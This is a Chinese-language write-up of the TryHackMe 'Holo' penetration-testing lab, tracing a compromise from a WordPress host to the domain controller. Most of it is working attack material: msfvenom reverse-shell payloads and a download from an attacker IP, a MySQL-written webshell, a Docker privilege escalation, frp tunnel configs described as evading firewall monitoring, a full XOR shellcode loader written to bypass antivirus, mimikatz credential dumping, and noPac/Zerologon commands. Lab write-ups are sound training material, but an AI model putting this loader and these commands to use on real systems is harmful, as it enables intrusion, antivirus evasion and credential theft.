记录一下tryhackme的Holo的靶场完成过程。和原本作者思路和工具不太一样,用自己的思路打了一下,更加优雅方便(实际上是自己太懒了),某些自己不懂的地方部分更加细节展开。中途太忙断了好久,还断网心态崩了,有一些自己的新思路,其他都是常规操作。
端口扫描:
/TideFinger_Linux -h 10.200.112.33 -p 1-65535
似乎有个高端口是socks5的无认证代理,也许后面会有作用,先放着。按照题目继续对80的wordpress进行枚举,发现版本信息:
nuclei -tags wordpress -u http://10.200.112.33/ -rl 10
回到正题:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456
速度很慢,速度大概在每秒50个速度,把暴力破解出来的添加到hosts文件
直接访问看看这些网站有什么有价值的东西,目录扫描看看:
从admin的扫描内可以发现robots.txt的内容比较大
访问获得绝对路径:
直接访问是403,需要配合任意文件读取获取到凭据
利用任意文件下载获取到creds.txt,因为vhost本质上是在一台机器上,所以能读取到其他的文件。
拿到密码登录:
翻阅源代码,不难看到有个被注释了的
//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->
给到cmd参数即可执行命令:
上msf直接拿交互式shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf
curl%20http%3A%2F%2F10.50.109.210%3A8101%2Freverse.elf%20-o%20%2Ftmp%2Fagent
拿到shell
尝试提权:
exploit/linux/local/apport_abrt_chroot_priv_esc
exploit/linux/local/cve_2021_3493_overlayfs
exploit/linux/local/cve_2022_0995_watch_queue
exploit/linux/local/su_login
提不上去.... 找一下flag,发现在/var/www
根据php里面的配置,数据库指向发现新的资产,利用账户密码去连接
用msf搭建socks代理:
proxychains mysql -u admin -p -h 192.168.100.1
因为是默认页面就直接写入就好了:
select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';
执行命令上线,再操作一波:
上传到临时文件再赋予权限执行
用的kali集成的linpeas,内容比较多,这里已经提示了suid提权,找一下:
去https://gtfobins.github.io/gtfobins/docker/找到提权的向量:
sudo install -m =xs $(which docker) .
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
这里不是交互式的tty,所以失败了
python3 -c 'import pty; pty.spawn("/bin/bash")'
提权也可以偷个懒,再次利用suggest模块exp提权:
等待一会,即可上线,这里不得不说msf的提权真是强,特别在exp提权上,如果自己编译是会很多出错导致难以利用,互联网上的poc在不同环境都是有兼容性问题的,这里msf就已经考虑好了兼容性的问题:
读取cat /etc/shadow密码破解(实战下还是有必要去破解一下的,因为很多单位用的密码都一样,只要能破解出明文,利用明文去横向将会显得非常重要):
利用hashcat破解:
hashcat -m 1800 -a 0 hash.txt rockyou.txt
对应的明文:
$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:linuxrulez
拿到密码登录验证一下:linux-admin
对同网段下的ip进行扫描,发现新的资产:
整理一下扫描的信息,(从这里之后的图片因为重置了靶场与之前的ip已经改变,不过问题不大),10.200.108.35的机器名是PC-FILESRV01 ,10.200.108.30的机器名是DC-SRV01,扫描结果也显示了是域控Domain Controllers,10.200.108.31的机器名是S-SRV01,http://10.200.108.30:80
再次搭建代理,这里直接用frp,frp的稳定性人尽皆知,这里就贴一下经常使用配置就好了:
./frps -c frps.ini
[common]
bind_port = 7000
token = Yuzusoft
tls_enable = true
客户端配置,实战中启用tls可以绕过态势感知、防火墙的拦截:
[common]
token = Yuzusoft
disable_custom_tls_first_byte = true
server_addr = 127.0.0.1
server_port = 7000
tls_enable = true
[socks5]
remote_port = 5444
plugin = socks5
搭建完毕就可以访问 http://10.200.108.31/ 了:
不晓得为什么burp出了什么问题,忍一下用浏览器来抓包,不难看出这里有个重置密码的参数让人感兴趣:
爆破用户名失败之后我重新翻找了之前mysql的数据库,找到了gurag用户:
抓包分析发现gurag的token其实已经返回在返回包,一个简单的逻辑漏洞:
之后带着这个token去访问之前的页面即可:
登录之后一个典型的前端过滤上传:
根据之前目录扫描的结果,应该在images目录下
果不其然,直接一波php上传Getshell,直接拿到system权限:
拿着进程去棱角社区进程识别看看,果然有杀毒,不过欺负一下微软的杀毒还是很轻松的:
生成木马,本来想用https,但是上不了线,只能用tcp了
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt
写了分离的shellcode加载器:
#include <iostream>
#include <fstream>
#include <vector>
#include <Windows.h>
char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };
// 解密函数
int keyLength = 7;
void decrypt(std::vector<unsigned char>& encryptedData) {
int keyIndex = 0; // 初始密钥索引为0
for (size_t i = 0; i < encryptedData.size(); ++i) {
encryptedData[i] = encryptedData[i] ^ Key[keyIndex]; // 使用当前密钥进行异或解密
keyIndex = (keyIndex + 1) % keyLength; // 更新密钥索引,确保在0到6之间循环
}
}
int main() {
// 读取 shellcode 从本地已经加密的 log 文件
std::ifstream file("log.txt", std::ios::binary);
std::vector<unsigned char> shellcode;
if (file) {
file.seekg(0, std::ios::end);
size_t size = file.tellg();
shellcode.resize(size);
file.seekg(0, std::ios::beg);
file.read(reinterpret_cast<char*>(shellcode.data()), size);
file.close();
}
else {
std::cout << "open file fail" << std::endl;
return 1;
}
Sleep(35000);
decrypt(shellcode);
// 分配内存
LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (allocMem == NULL) {
std::cout << "内存分配" << std::endl;
return 1;
}
// 将 shellcode 拷贝到分配的内存中
memcpy(allocMem, shellcode.data(), shellcode.size());
// 执行 shellcode
typedef void (*ShellcodeFunction)();
ShellcodeFunction func = (ShellcodeFunction)allocMem;
func();
// 释放内存
VirtualFree(allocMem, 0, MEM_RELEASE);
return 0;
}
shellcode加载器本地测试免杀通过了
成功上线:
传个vt看看,20/70,算了,能用就行:
靶机一直没上线,可能是端口转发的问题,没办法了,虽然OPSEC原则上加用户是很糟糕的方法,但我这里还是加个用户登上去看看到底是怎么回事:
net user Yuzusoft XXMn9nJfUVEDx2Lk /add
net localgroup administrators Yuzusoft /add
登上去才发现,好吧,这是一个经典错误,报了个dll未找到的错误(后来几天后同事提点发现是编译的问题):
请原谅我直接在UI内部关掉杀毒,之前还写过python的加载器,结果虚拟机之前快照重置了,就不再这里浪费时间了:
经过一点点时间,上传木马执行上线:
转储密码哈希:
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
报错说32位的不能访问64位的进程:
这里得找个64位的进程迁移过去
migrate xxxx
没有cs那么舒服自己整理好了凭据,我们自己找一下,慢慢翻下去找到了明文用户和密码watamet和Nothingtoworry!
现在我们控制了域内的主机,有一个域用户了,还有明文密码,满足了很多域漏洞的利用条件,我就不按照官方的操作了,居然要重启主机,它的中继攻击利用条件太苛刻了,实战很难碰上:
noPac
这个其实是两个漏洞的组合利用,流行是说法是NoPAC,另一种是sam-the-admin,是CVE-2021-42278和CVE-2021-42287的组合拳,利用也很简单,跑一下脚本就打下域控了,利用条件就是要拿到一个用户的账号密码,
proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30 -shell
可以拿到TGT,但是脚本只能打一次,不过我们依然可以拿到之前的缓存TGT去认证:
KRB5CCNAME='Administrator.ccache' proxychains /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k -no-pass @'dc-srv01.holo.live'
Zerologon
这个神洞就不用说了,我们已经用了太多次了,逻辑漏洞无视所有防御,这里我用mimikatz去检测:
kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator
运行显示不存在,看样子靶场已经修复了这个漏洞:
最后拿下全部靶机:
总结
都是一些常规操作,没啥难度,就是很费时间和耐心,之前断网了一次导致我要重新搭建代理,心态很炸,中间隔着省Hvv,后面攻击欲望变低懒得打了,msf好多命令都记不住,这个神器还是得认真学一下的(官方文档看的头晕),原本就能靠它一键搭代理,cs入口是linux反而局限太多,后续还得学一下sliver。打法思路就是找RCE、找数据库密码逃逸容器,之后搭建代理,做一下免杀,对着域控常规的几个漏洞伺候一下就结束了,本来还是得做一下权限维持才好,熟悉熟悉常见的权限维持对后面当红队还是蓝队都很重要。